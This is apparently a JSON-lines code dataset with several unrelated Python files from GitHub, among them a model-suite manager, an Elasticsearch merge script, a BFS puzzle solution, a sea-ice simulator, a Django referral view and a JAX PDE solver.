os.path.join(self.outputPathBase, modelRun.name)\n                modelRun.outputPath = newPath\n                modelRun.logPath = newPath\n        self.runs.append(modelRun)\n        self.runDescrips.append(runDescrip)\n        self.runCustomOptSets.append(runCustomOpts)\n        # Return the index of the newly added run.\n        return len(self.runs) - 1\n\n    def getRunByName(self, runName):\n        \"\"\"Get a modelRun instance from the suite with a particular name.\"\"\"\n        for modelRun in self.runs:\n            if modelRun.name == runName:\n                return modelRun\n\n    def getRunIndex(self, runName):\n        \"\"\"Get the index within the suite of a run with the given name.\"\"\"\n        for runI, modelRun in enumerate(self.runs):\n            if modelRun.name == runName:\n                return runI\n\n    def preRunCleanup(self):\n        \"\"\"Convenience function to call all sub-methods for tasks to do\n        before running to clean up directories.\"\"\"\n        self.cleanAllOutputPaths()\n        self.cleanAllLogFiles()\n\n    def cleanAllOutputPaths(self):\n        '''Remove all files in each model's output path. Useful to get rid of\n        results still there from previous jobs. Doesn't delete sub-directories,\n        in case they are other model runs' results that should be ignored.'''\n        startDir = os.getcwd()\n        for modelRun in self.runs:\n            os.chdir(modelRun.basePath)\n            for filePath in glob.glob(os.path.join(modelRun.outputPath,\"*\")):\n                if os.path.isfile(filePath):\n                    os.unlink(filePath)\n            os.chdir(startDir)\n\n    def cleanAllLogFiles(self):\n        \"\"\"Remove all stdout and stderr files from each ModelRun's designated\n        output and log paths.\"\"\"\n        startDir = os.getcwd()\n        for modelRun in self.runs:\n            os.chdir(modelRun.basePath)\n            logFiles = [modelRun.getStdOutFilename(),\n                modelRun.getStdErrFilename()]\n            for fname in logFiles:\n                if os.path.isfile(fname):\n                    os.unlink(fname)\n            os.chdir(startDir)\n\n    def addVariant(self, name, modelVariant):\n        \"\"\"Add a :class:`.StgXMLVariant` to the list to be applied to a\n        template run. See :attr:`.modelVariants`.\"\"\"\n        self.modelVariants[name] = modelVariant\n\n    def generateRuns(self, iterGen=product):        \n        \"\"\"When using a template modelRun, will generate runs for the suite\n        based on it. The generated runs are saved to \n        the :attr:`.runs` attribute ready to be run using :meth:`.runAll`.\n        \n        This requires that there are one or more :class:`.StgXMLVariant`\n        recorded on the class already.\n\n        :param iterGen: this determines what iterator strategy should be\n          used to generate the runs. Defaults to a product, but a simple\n          \"zip\" style can be achieved using the itertools.izip iterator\n          generating function.\n          See the Python :mod:`itertools` module for more.\n        \"\"\"\n\n        assert self.templateMRun\n\n        # Save the strategy passed in.\n        self.iterGen = iterGen\n        # Empty the \"runs\", in case it has values in there already\n        self.runs = []\n\n        # Strategy used below is instead of iterating directly over the \n        # parameters we are applying to each run, create indices into the\n        # modelVariants lists to work out which to apply for each run.\n        indexIterator = getVariantIndicesIter(self.modelVariants, self.iterGen)\n\n        for runI, paramIndices in enumerate(indexIterator):\n            # First create a copy of the template model run\n            newMRun = copy.deepcopy(self.templateMRun)\n            # Now, apply each variant to it as appropriate\n            for varI, modelVar in enumerate(self.modelVariants.itervalues()):\n                modelVar.applyToModel(newMRun, paramIndices[varI])\n\n            subPath = self.subOutputPathGenFunc(newMRun, self.modelVariants,\n                paramIndices, runI)\n            newMRun.name += \"-%s\" % (subPath)\n            newMRun.outputPath = os.path.join(self.outputPathBase, subPath)\n            newMRun.logPath = os.path.join(self.outputPathBase, subPath)\n            self.runs.append(newMRun)\n            self.runDescrips.append(subPath)\n            self.runCustomOptSets.append(None)\n\n    def writeAllModelRunXMLs(self):\n        \"\"\"Save an XML record of each ModelRun currently in :attr:`.runs`.\"\"\"\n        for runI, modelRun in enumerate(self.runs):\n            modelRun.writeInfoXML()\n\n    def writeAllModelResultXMLs(self):\n        \"\"\"Save an XML record of each ModelResult currently in\n        :attr:`.resultsList`.\"\"\"\n        for runI, mResult in enumerate(self.resultsList):\n            mResult.writeRecordXML()\n    \n    def getCustomOpts(self, runI, extraCmdLineOpts):\n        \"\"\"Get the custom opts (as a string) to apply for modelRun runI.\"\"\"\n        customOpts = None\n        if self.runCustomOptSets[runI]:\n            customOpts = self.runCustomOptSets[runI]\n        if extraCmdLineOpts:\n            if customOpts == None: customOpts = \"\"\n            customOpts += extraCmdLineOpts\n        return customOpts    \n\n    def readResultsFromPath(self, basePath, overrideOutputPath=None,\n            checkAllPresent=True):\n        \"\"\"Read the results generated for a given ModelSuite located off the \n        given basePath where the suite was run, and return the list of results.\n\n        This will ignore results in the directory not related to this suite.\n\n        :arg overrideOutputPath: if specified, this path overrides the default\n          outputPath of the suite itself to search for the results.\n          (I.e. useful if you are reading from a previous suite with different\n          output path.)\n        :arg checkAllPresent: if True this will check that all runs expected\n          for the suite were found in the list of results.\n\n        .. note:\n           Currently this just relies on model result names for the suite\n           matching up correctly. In future, should really scan the ModelResult\n           XMLs and check they match correctly.\n        \"\"\" \n        if overrideOutputPath is not None:\n            outputPathBase = overrideOutputPath\n        else:\n            outputPathBase = self.outputPathBase\n        # First read all results\n        # TODO: passing in the 'name' below is hacky:- really should be \n        #  reading this in from model result XMLs\n        if self.templateMRun:\n            baseName = self.templateMRun.name\n        else:\n            baseName = None\n        readResults = getModelResultsArray(baseName,\n            os.path.join(basePath, outputPathBase))\n        # Now check through, and build a new list only contained in this index\n        sResults = []\n        for result in readResults:\n            runIndex = self.getRunIndex(result.modelName)\n            if runIndex == None: continue\n            else:\n                sResults.append((runIndex, result))\n        mResults = [None] * len(sResults)\n        # Now put them in the right order\n        for runIndex, result in sResults:\n            mResults[runIndex] = result\n        # Finally, check each run in the suite is present in the returned list\n        if checkAllPresent:\n            resultNames = [res.modelName for res in mResults]\n            for runI, mRun in enumerate(self.runs):\n                if mRun.name not in resultNames:\n                    raise ModelResultNotExistError(\"Error, given basePath\"\\\n                        \" for reading model\"\\\n                        \" results from, %s, with output path %s, is missing\"\\\n                        \" result for suite's run '%s' (index %d).\"\\\n                        \"\\n(names read are %s).\" %\\\n                        (basePath, outputPathBase, mRun.name, runI,\n                         resultNames))\n        return mResults  \n            \n# TODO: here perhaps would be where we have tools to generate stats/plots\n# of various properties of the suite, e.g. memory usage? Or should\n# this be a capability of some sort of uber-results list? Or profiling\n# tools?\n\ndef writeInputsOutputsToCSV(mSuite, observablesDict, fname):\n    \"\"\"Write a CSV file, containing all the ModelVariants defined for a \n    ModelSuite, and also all the observables in the observablesDict.\n\n    :param observablesDict: a dictionary of 'observables', each entry in\n      the form 'obsName':[obsVals for each run], e.g. \"vrms\":[0.6, 0.8, 0.9].\n    :param fname: file name of the CSV file to create, inside the model\n      suite's base output path.\n    \n    .. note:: Could be a function on the ModelSuite?\n    \"\"\"  \n    target = open(os.path.join(mSuite.runs[0].basePath, mSuite.outputPathBase, fname), \"w\" )\n    wtr = csv.writer(target)\n    # Need to do sorting to make sure keys here match those below.\n    sortedVarNames = mSuite.modelVariants.keys()\n    sortedVarNames.sort()\n    wtr.writerow(sortedVarNames + observablesDict.keys())\n    indexIt = getVariantIndicesIter(mSuite.modelVariants, mSuite.iterGen)\n    varDicts = getVariantNameDicts(mSuite.modelVariants, indexIt)\n    for varDict, observs in zip(varDicts, zip(*observablesDict.itervalues())):\n        sortedValues = [varDict[varName] for varName in sortedVarNames]\n        wtr.writerow(sortedValues + list(observs))\n    target.close()\n\ndef getModelResultsArray(baseName, baseDir):\n    \"\"\"Post-processing: given a base model name and base output directory,\n    search this directory for model results, and read into a list of\n    :class:`~credo.modelresult.ModelResult` . \n\n    .. note:: Needs more checking added, and ability to recover metadata\n       about the ModelRuns.\n    \"\"\"\n    modelResults = []\n    for fName in os.listdir(baseDir):\n        fullPath = os.path.join(baseDir, fName)\n        if os.path.isdir(os.path.join(baseDir, fName)):\n            dirName = fName\n            if baseName == None:\n                modelName = dirName\n            else:    \n                modelName = \"%s-%s\" % (baseName, dirName)\n            mResult = mres.readModelResultFromPath(fullPath)\n            #ModelResult(modelName, fullPath)\n            # TODO: When func ready, search for an XML file containing\n            #  job meta info, and attach here\n            # mResult.jobMetaInfo = ...\n            modelResults.append(mResult)\n    return modelResults\n","repo_name":"PatSunter/credo","sub_path":"credo/modelsuite.py","file_name":"modelsuite.py","file_ext":"py","file_size_in_byte":23933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"69999820809","text":"from elasticsearch_config import es\nfrom elasticsearch.helpers import bulk\nimport time\nimport pandas as pd\n\nnew_index = \"og_county_prices\"\nprices_wti = \"prices_wti\"\nog_index = \"og_county\"\n\n# ---------- CREAR INDEX OG FIELD PRICES ----------\n\nog_mapp = es.indices.get_mapping(index=og_index)[og_index]\n\nog_mapp[\"mappings\"][\"properties\"][\"value\"] = {\"type\": \"float\"}\n\nes.indices.create(index=new_index, body=og_mapp, ignore=400)\n\n# ---------- CRUZAR PRECIOS POR PERIODO ----------\n\nstart_time = time.time()\n\nquery = {\"query\": {\"match_all\": {}}}\n\nprices_wti_hits = []\nog_hits = []\n\n\ndef get_batch_data(index, data):\n    res = es.search(index=index, body=query, size=10000, scroll=\"2m\")\n    scroll_id = res[\"_scroll_id\"]\n    hits = res[\"hits\"][\"hits\"]\n    data.extend(hit[\"_source\"] for hit in hits)\n\n    while len(hits) > 0:\n        res = es.scroll(scroll_id=scroll_id, scroll=\"2m\")\n        scroll_id = res[\"_scroll_id\"]\n        hits = res[\"hits\"][\"hits\"]\n        data.extend(hit[\"_source\"] for hit in hits)\n\n\nget_batch_data(prices_wti, prices_wti_hits)\nget_batch_data(og_index, og_hits)\n\n\n# Convertir a DataFrames\ndf_prices = pd.DataFrame(prices_wti_hits)\ndf_og_index = pd.DataFrame(og_hits)\n\n\ndf_final = pd.merge(\n    df_og_index, df_prices, left_on=\"CYCLE_YEAR_MONTH\", right_on=\"period\", how=\"left\"\n)\n\ndocs = df_final.to_dict(orient=\"records\")\n\n\ndef ingestion_bulk(index_name, batch_size=5000):\n    data = [{\"_index\": index_name, \"_source\": doc} for doc in docs]\n    len_data = len(data)\n\n    for i in range(0, len_data, batch_size):\n        success, failed = bulk(es, data[i : i + batch_size])\n\n    if failed:\n        print(f\"Error al indexar {failed} documentos.\")\n    else:\n        print(f\"Se indexaron {success} documentos correctamente.\")\n\n\ningestion_bulk(new_index)\n\nend_time = time.time()\nall_time = end_time - start_time\n\nprint(f\"Tiempo de procesamiento: {float(all_time) / 60} minutos.\")\n","repo_name":"CristianERP/elastic","sub_path":"og_field_prices.py","file_name":"og_field_prices.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8621347781","text":"from collections import deque, defaultdict\n\nsteps = [(0, 0), (-1, 0), (-1, 1), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1)]\nMap = [list(input()) for _ in range(8)]\nsx, sy, ex, ey = 7, 0, 0, 7\nblank_index = []\nfor i in range(8):\n    for j in range(8):\n        if Map[i][j] == \"#\":\n            blank_index.append((i, j))\ntime = 0\nblank = defaultdict(set)\nwhile blank_index:\n    next = []\n    for x, y in blank_index:\n        blank[(x, y)].add(time)\n        if x < 7:\n            x += 1\n            next.append((x, y))\n    blank_index = next\n    time += 1\nflag = 0\nq = deque()\nvisit = defaultdict(set)  # (x, y)에 time있으면 방문했다는 뜻 그시간 그자리\n# x, y , cnt\nq.append((7, 0, 0))\nvisit[(7, 0)].add(0)\nwhile q:\n    x, y, cnt = q.popleft()\n    # 벽에 갇히는 경우\n    if cnt in blank[(x, y)]:\n        continue\n    # 갯수가 7개 이상인데 현재 살아있는경우 -> 벽은 이미 맨아래 남아 있으며 벽에 갇히지 않는경우니 무조건 어디로든 갈수있음\n    if cnt >= 7:\n        flag = 1\n        break\n    for dx, dy in steps:\n        nx, ny = x + dx, y + dy\n        if 0 <= nx < 8 and 0 <= ny < 8:\n            # 지금 벽이라서 이동못하는 경우\n            if cnt in blank[(nx, ny)]:\n                continue\n            # 이미 큐에 있거나 방문한적없는 x,y,cnt 경우일때, q에 넣어줌\n            if cnt + 1 not in visit[(nx, ny)]:\n                visit[(nx, ny)].add(cnt + 1)\n                q.append((nx, ny, cnt + 1))\nprint(flag)","repo_name":"leejongcheal/baekjoon_course_coding","sub_path":"연습/그래프와 BFS/BFS 알고리즘/16954번 - 움직이는 미로 탈출.py","file_name":"16954번 - 움직이는 미로 탈출.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1721167013","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 16 14:28:08 2023\n\n@author: david\n\"\"\"\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar  7 11:12:47 2023\n\n@author: david\n\"\"\"\n\n# Imports\nimport numpy as np\n\nfrom numpy.random import MT19937\nfrom numpy.random import RandomState, SeedSequence\n\nimport Perlin_Noise as pn\n\n  \nclass Simulate_Observations():\n    \n    def __init__(self, shape, cycleLength, amountFI=.2, amountLand=.1, fluctuation=.005, noise=.03, errorRate=0, arealError=.9, clustered=2, maxSpeed=5, steepness=23, seed=None, no_starting_error=False):\n        '''\n        Generates velocities which are distributed random but clustered and change they're appearance over time.\n        For fast ice simulation, so there is some greater areas with 'no' movement.\n\n        Parameters\n        ----------\n        shape : tuple\n            Size of grid to simulate (y,x).\n        cycleLength : float\n            Time period over which the ice freezes and start breaking again.\n        amountFI : float in [0,1], optional\n            ~percentage of fast ice when fully 'grown'. The default is 0.2\n        amountLand : float in [0,1], optional\n            ~percentage of land. The default is 0.1\n        fluctuation : float, optional\n            Determines the fluctuation of fast ice and errorrates in each observation, VERY sensitive -> std of normal. The default is 0.01\n        noise : float, optional\n            Determines the noise cast onto the observation, VERY sensitive -> std of normal. The default is 0.03\n        errorRate : float in [0,1], optional\n            expected percentage of missing data points and also the relative size of areal errors compared to pointwise. The default is 0.\n        arealError: float in [0,1], optional\n            expected chance for an areal error, only occurs if errorRate > 0. The default is .9\n        clustered : float, optional\n            How clustered the fast ice is, the lower the fewer clusters there are -> has to do with operating of perlin noise. The default is 2.\n        maxSpeed : float > 0, optional\n            the max speed a pixel can have. The default is 5.\n        steepness : float > 0, optional\n            the steepness of the threshhold function for the fast ice development. The default is 17. (recommended between 10-25)\n        seed : int, optional\n            seed for the simulation. The default is None => a random seed between 0-99999999 is taken.\n        no_starting_error : bool, optional\n            determines if the first observation has errors or not. Default is False (Errors)\n\n        '''\n        self.y, self.x   = shape\n        self.cycle       = cycleLength\n        self.amountFI    = amountFI\n        self.amountLand  = amountLand\n        self.fluctuation = fluctuation\n        self.noise       = noise\n        self.errorRate   = errorRate\n        self.arealError  = arealError\n        self.clustered   = clustered\n        self.maxSpeed    = maxSpeed\n        self.steepness   = steepness\n        self.seed        = seed\n        self.start_err   = no_starting_error\n        \n        self.NaN     = np.NaN\n        self.landVal = -1\n        \n        # Create perlin object\n        self.Perlin = pn.PerlinNoise2D()\n        \n        # check seed, else randomize it\n        if self.seed == None: self.seed = np.random.randint(0, 100000000)\n        self.rs = RandomState(MT19937(SeedSequence(self.seed)))\n        \n        # Initialize everything else needed\n        self.initialize()\n        \n        \n    def initialize(self):\n        # Create base noise for 'sea depth'\n        yLin, xLin   = np.linspace(0, self.clustered, self.y), np.linspace(0, self.clustered, self.x)     # The smaller 'clustered' the more the values are in one area\n        xGrid, yGrid = np.meshgrid(xLin, yLin)\n        self.perlinFix = self.Perlin.perlin(xGrid, yGrid, self.seed)\n        \n        # Compute sorted list\n        sortNoise = np.sort(self.perlinFix.flatten())\n        \n        ## Thresholding parameters\n        # Land\n        self.landTresh = sortNoise[int(self.y * self.x * (1- self.amountLand))] # Everything above is land\n        # Parameters for Threshholding fast ice\n        minThresh = sortNoise[int(self.y * self.x  * (1- self.amountLand - self.amountFI/10))]   # Around 10% of all fast ice is shown at minimum\n        maxThresh = sortNoise[int(self.y * self.x  * (1- self.amountLand - self.amountFI))]      # Around the amountFI of all pixels are fast ice\n        \n        # Land values\n        self.land = np.where(self.perlinFix >= self.landTresh, 1, 0)\n        # Generate coast pixel\n        self.coast = self.coastPixel(self.land)\n        \n        # create thresholding function\n        mean_begin = .2\n        mean_end   = .75\n        # pseudo truncated normal, since it does not exist in numpy but I need the seed dependence\n        begin = np.clip(self.rs.normal(loc=mean_begin, scale=.1), 0, 1)\n        end   = np.clip(self.rs.normal(loc=mean_end, scale=.1), 0, 1)\n        if end > begin: \n            a = begin\n            begin = end\n            end   = a\n        self.create_threshold(begin, end, self.steepness, minThresh, maxThresh)\n        \n                \n        # Parameters for error creation\n        self.keepOld = .8\n        self.aErr = .9 * self.arealError\n        self.pErr = 1  - self.aErr\n        # Initialize step\n        self.step = 0\n        # safe last perlin noise\n        self.lastPerlin = self.perlinFix\n        # create first error noise\n        xGrid, yGrid = np.meshgrid(np.linspace(0, 2, self.x), np.linspace(0, 2, self.y))\n        self.lastError  = self.Perlin.perlin(xGrid, yGrid, self.rs.randint(0, 100000000))\n\n        \n    ################\n    ## Simulation ##\n    ################ \n    def simulate(self):\n        # Increase step by 1\n        self.step += 1\n        # Threshhold Fast Ice, everywhere else new Perlin 'Movement'\n        yLin, xLin   = np.linspace(0, 2, self.y), np.linspace(0, 2, self.x)     # Fixed Clustered=2, so it's more stable movement\n        xGrid, yGrid = np.meshgrid(xLin, yLin)\n        # seed for perlin noise\n        seed      = self.rs.randint(0, 100000000)\n        # Compute new fast and drift ice\n        factor = 1 - np.clip(np.abs(self.rs.normal(scale=.4)), 0, 1)\n        newPerlin = (factor * self.prepPerlin(self.Perlin.perlin(xGrid, yGrid, seed)) + (1-factor) * self.lastPerlin)\n        \n        maskFI = np.logical_and(self.perlinFix >= self.threshold(self.step), self.perlinFix < self.landTresh)\n        speeds = np.where(maskFI, 0, newPerlin)\n\n        # create noise and add to speeds:\n        noise = self.rs.normal(scale=self.noise, size=(self.y, self.x))\n        total = np.abs(speeds + noise)\n        # set Coast Errors to special noise:\n        coastVals = self.rs.random(size=(self.y, self.x)) * self.maxSpeed / 5\n        total  = np.where(self.coast, coastVals, total)\n            \n        # Add Errors\n        errors = self.createErrors()\n        # Remove corner point errors for convenience (interpolating problems and such)\n        errors[ 0, 0] = 0\n        errors[-1,-1] = 0\n        errors[0, -1] = 0\n        errors[-1, 0] = 0\n        # --------------- #\n        preFinal = np.where(errors, self.NaN, total)\n        final    = np.where(self.land, self.landVal, preFinal)\n        \n        # Safe last perlin noise\n        self.lastPerlin = newPerlin\n        \n        return final, maskFI\n    \n    ###################\n    ## Create Errors ##\n    ###################  \n    def createErrors(self):\n        if self.start_err and (self.step == 1 or self.step == self.cycle): return np.zeros((self.y, self.x))\n        \n        # Pointswise Errors\n        errorPoints = self.rs.binomial(1, self.errorRate * self.pErr, size=(self.y, self.x))   # Pointwise errors per step / later half (or 2/3) the errorRate for the area errors\n        # Area Errors\n        yLin, xLin   = np.linspace(0, 2, self.y), np.linspace(0, 2, self.x)     # Fixed Clustered=2, so it's more coherent\n        xGrid, yGrid = np.meshgrid(xLin, yLin)\n        seed      = self.rs.randint(0, 100000000)\n        factor = np.clip(self.rs.normal(loc=self.keepOld, scale=.5), 0, 1)\n        perlin  = factor * self.lastError + (1-factor) * self.Perlin.perlin(xGrid, yGrid, seed)\n        thresh = self.generateThresh(perlin) # threshhold of last 0\n        area  = np.where(perlin < thresh, 1, 0)\n        # setting old error\n        self.lastError = perlin\n        return np.logical_or(errorPoints, area)\n    \n    def generateThresh(self, perlin):\n        # generates the threshhold for every step\n        cover = self.rs.random() > 1 - self.arealError\n        fluct = np.abs(self.rs.normal(loc=0, scale=self.fluctuation)) if self.errorRate > 0 else 0\n        return np.sort(perlin.flatten())[int(self.errorRate * self.y * self.x * self.aErr)* cover] + fluct\n    \n    ######################\n    ## Preparate Perlin ##\n    ######################    \n    def prepPerlin(self, perlin):\n        return (perlin - np.min(perlin)) * self.maxSpeed\n    \n    ################\n    ## Threshhold ##\n    ################  \n    def create_threshold(self, begin, end, alpha, min_thresh, max_thresh):\n        def function(t):\n            x = t / self.cycle\n            return min_thresh + (( np.tanh(alpha * (x-begin)) - np.tanh(alpha * (x-end)) ) / 2) * (min_thresh - max_thresh) + self.rs.normal(scale=self.fluctuation)\n        self.threshold = function\n\n    ###############\n    ## CoastLine ##\n    ###############  \n    def coastPixel(self, pixel):\n        '''\n        Computes the coastline of a 2D pixelSet, the pixel in question should be masked!\n\n        Parameters\n        ----------\n        pixel : np.array(y,x)\n            2D array of pixel, every 'land'pixel is set to 1.\n\n        Returns\n        -------\n        coast : np.array(y,x)\n            returns a mask of the coast line.\n\n        '''\n        def neighbours(row, col):\n\n            rows, cols = pixel.shape\n            out = []\n\n            for i in range(row - 1, row + 2):\n                row = []\n                for j in range(col - 1, col + 2):\n\n                    if 0 <= i < rows and 0 <= j < cols:\n                        row.append(pixel[i,j])\n                    else:\n                        row.append(0)\n\n                out.append(row)\n            return np.array(out).any()\n        \n        y, x = pixel.shape\n        # create empty canvas\n        empty = np.zeros((y,x))\n        \n        for yy in np.arange(y):\n            for xx in np.arange(x):\n                if neighbours(yy, xx): empty[yy, xx] = 1\n        return empty\n\n\n\n\n\n","repo_name":"P3ngwings/Bachelor_2023","sub_path":"simulation/Observation_Simulation.py","file_name":"Observation_Simulation.py","file_ext":"py","file_size_in_byte":10569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72960773767","text":"from django.shortcuts import render, redirect\nfrom django.views.generic import FormView, CreateView\n\nfrom . import models as md\n\nREFERAL_LIST = md.UserModel.referal_list()\n\n\nclass LinkHandler(FormView):\n    def get(self, request, *args, **kwargs):\n        return render(\n            request=request,\n            template_name='index.html',\n        )\n\n    def post(self, request, *args, **kwargs):\n        input_refer = str(request.POST['text'])\n        if input_refer in REFERAL_LIST:\n            url = f'https://t.me/alphabots_testbot?start={input_refer}'\n            return redirect(\n                to=url,\n            )\n        else:\n            return render(\n                request=request,\n                template_name='referal_error.html',\n                context={'refers': REFERAL_LIST},\n            )\n\n# class MessageHandler(CreateView):\n#     def post(self, request, *args, **kwargs):\n","repo_name":"antonyuhnovets/AlphaBots_test","sub_path":"bot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19594595031","text":"import jax\nimport jax.numpy as jnp\nfrom jax import random, grad, vmap, jit\nfrom matplotlib import pyplot as plt\n\nimport natgrad.mlp as mlp\n\nfrom natgrad.gram import gram_factory, nat_grad_factory\n\nfrom natgrad.domains import Square\nfrom natgrad.domains import SquareBoundary\nfrom natgrad.integrators import DeterministicIntegrator\nfrom natgrad.derivatives import laplace, model_laplace\n\nfrom typing import Any\nfrom jaxtyping import Array, Float, jaxtyped\nfrom typeguard import typechecked as typechecker\n\n#-Delta u(x,y) = sin(x)sin(y) on the domain [-pi,pi]\n\njax.config.update(\"jax_enable_x64\", True)\n\n# integration \nsquare = Square(3.14159265)\n#square = Square(1.)\nsquare_boundary = SquareBoundary(3.14159265)\nintegrator = DeterministicIntegrator(square, 20)\neval_integrator = DeterministicIntegrator(square, 200)\nbdry_integrator = DeterministicIntegrator(square_boundary, 50)\nx = square.deterministic_integration_points(20)\n\n# model\nactivation = lambda x : jnp.tanh(x)\n#activation = lambda x : jnp.sin(x)**2\n#activation = lambda x : jnp.maximum(0., x)**3\nlayer_sizes = [2, 32, 1]\nparams = mlp.init_params(layer_sizes, random.PRNGKey(0))\n# maps: [(*, *), ..., (*, *)], (2,) ---> ()\nmodel = mlp.mlp(activation) \n\n\ndistance_func = square.distance_function\nv_distance_func = vmap(distance_func, (0))\n\n# maps: [(*, *), ..., (*, *)], (2,) ---> ()\n@typechecker\ndef truncated_model(params: Any, x: Float[Array, \"2\"]) -> Float[Array, \"\"]:\n    return model(params, x) * distance_func(x)\n\n# maps: [(*, *), ..., (*, *)], (n,2) ---> (n,)\nv_model = vmap(model, (None, 0))\n\n# maps: [(*, *), ..., (*, *)], (n,2) ---> (n,)\nv_truncated_model = vmap(truncated_model, (None, 0))\n\n# right-hand side\n# maps: (n, 2) ---> (n,)\ndef f_(xy):\n    x = xy[:,0]\n    y = xy[:,1]\n    return 2. * jnp.sin(y) * jnp.sin(x)\n\n# right-hand side\n# maps: (2,) ---> ()\ndef f(xy):\n    x = xy[0]\n    y = xy[1]\n    return 2. * jnp.sin(y) * jnp.sin(x)\n\n# solution\n# maps: (n, 2) ---> (n,)\ndef u_star(xy):\n    x = xy[:,0]\n    y = xy[:,1]\n    return jnp.sin(y) * jnp.sin(x)\n\ndef u_star_(xy):\n    x = xy[0]\n    y = xy[1]\n    return jnp.sin(y) * jnp.sin(x)\n\nlaplace_test = laplace(u_star_)\nv_laplace_test = vmap(laplace_test, (0))\nplt.scatter(x[:,0], x[:,1], c = -v_laplace_test(x) - f_(x), s = 20)\n#plt.show()\n\n# maps [(*,*), ..., (*,*)] ---> ()\n@typechecker\ndef loss(params: Any) -> Float[Array, \"\"]:\n    # maps (2,) ---> ()\n    laplace_model = laplace(lambda x: truncated_model(params, x))\n\n    # maps: (2,) ---> ()\n    integrand = lambda x: (laplace_model(x) + f(x))**2\n\n    # maps: (n, 2) ---> (n,)\n    v_integrand_ = vmap(integrand, (0))\n    @jaxtyped\n    @typechecker\n    def v_integrand(x: Float[Array, \"n 2\"]) -> Float[Array, \"n\"]:\n        return v_integrand_(x)\n    \n    return jnp.reshape(integrator(v_integrand), ())\n\n# L2Norm\n# func must map: (n, 2) ---> (n,)\ndef L2Norm(func):\n    return eval_integrator(\n        lambda x: (func(x))**2\n        )**0.5\n\n# maps: params ---> (Pdim, Pdim)\ngram_laplace = gram_factory(\n    model = truncated_model,\n    trafo = model_laplace,\n    integrator = integrator,\n)\n\n# maps: params, tangent_params ---> tangent_params\nnat_grad = nat_grad_factory(gram_laplace)\n\n\n\n@jit\ndef grid_line_search(params, grads):\n    grid = jnp.linspace(0, 400, 401)\n    steps = 0.9**grid\n\n    #grid = jnp.linspace(0, 30, 31)\n    #steps = 0.5**grid\n\n    def loss_at_step(step):\n        updated_params = [(w - step * dw, b - step * db)\n            for (w, b), (dw, db) in zip(params, grads)]\n        return loss(updated_params)\n    \n    v_loss_at_step = vmap(loss_at_step)\n\n    losses = v_loss_at_step(steps)\n    step_size = steps[jnp.argmin(losses)]\n    return [(w - step_size * dw, b - step_size * db)\n            for (w, b), (dw, db) in zip(params, grads)], step_size\n\n# gradient update\n@jit\ndef update(params, step_size):\n    grads = grad(loss)(params)\n    return [(w - step_size * dw, b - step_size * db)\n            for (w, b), (dw, db) in zip(params, grads)]\n\nerror_func = lambda x: v_truncated_model(params, x) - u_star(x)\n\n# training loop\nstep = .0001\nfor iteration in range(100):\n    params = update(params, step)\n    if iteration > 4000:\n        step = 0.01\n    error = L2Norm(lambda x: v_truncated_model(params, x) - u_star(x))\n    print(f'Iteration: {iteration} with loss: {loss(params)} with error: {error}')\n\n# natural gradient descent with line search\nfor iteration in range(100):\n    grads = grad(loss)(params)\n    nat_grads = nat_grad(params, grads)\n    \n    #params = line_search(loss, params, nat_grads)\n    params, step_size = grid_line_search(params, nat_grads)\n\n    error = L2Norm(error_func)\n    print(f'Iteration: {iteration} with loss: {loss(params)} with error: {error} with step size: {step_size}')\n\n\n\n\nplt.scatter(x[:,0], x[:,1], c = v_truncated_model(params, x), s = 20)\nplt.savefig('out/2dpreds.png')\nplt.clf()\nplt.scatter(x[:,0], x[:,1], c = u_star(x), s = 20)\nplt.savefig('out/2dgroundtruth.png')\nplt.clf()\nplt.scatter(x[:,0], x[:,1], c = v_truncated_model(params, x) - u_star(x), s = 20)\nplt.savefig('out/2derror.png')\n","repo_name":"emastr/NaturalGradientTraining","sub_path":"examples/non-maintained/2dpinns.py","file_name":"2dpinns.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4881728614","text":"#!/usr/bin/env python3\n# coding: utf-8\n# ##############################################################################\n# Description:  This script crypt or decrypt string\n#\n# Required:     - Run as Standard User.\n#               - Python 3.x\n#\n#\n# Author:       LEJOSNE Florian\n#\n# Date:         2021.04.08\n# ##############################################################################\n\n# ==============================================================================\n# IMPORTS\n# ==============================================================================\n\n\n# ==============================================================================\n# GLOBAL VARIABLE\n# ==============================================================================\n\nfirst_mess = 'Welcome in Crypto World'\nsecond_mess = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'\n\n\n# ==============================================================================\n# SUB FUNCTIONS\n# ==============================================================================\n\ndef test():\n    \"\"\"\n    This function try to code and decode with first and second message\n\n    :return: None\n    \"\"\"\n    # First test\n    start_string()\n    print(\"| Original Crypto Message: '{}'\".format(\n        first_mess\n    ))\n    end_string()\n    # Encrypted first test\n    start_string()\n    print(\"| Encrypted Crypto Message: '{}'\".format(\n        crypt(first_mess)\n    ))\n    end_string()\n    # Decryptes first test\n    start_string()\n    print(\"| Decrypted Crypto Message: '{}'\".format(\n        decrypt(crypt(first_mess))\n    ))\n    end_string()\n    # Second test\n    start_string()\n    print(\"| Original Crypto Message: '{}'\".format(\n        second_mess\n    ))\n    end_string()\n    # Encrypted Second test\n\n    start_string()\n    print(\"| Encrypted Crypto Message: '{}'\".format(\n        crypt(second_mess)\n    ))\n    end_string()\n    # Decrypted Second test\n\n    start_string()\n    print(\"| Decrypted Crypto Message: '{}'\".format(\n        decrypt(crypt(second_mess))\n    ))\n    end_string()\n\n\ndef end_string():\n    \"\"\"\"\n    This function print the end symbol\n    :return: None\n    \"\"\"\n    print(\"\\\\===\")\n    print()\n\n\ndef start_string():\n    \"\"\"\"\n    This function print the start 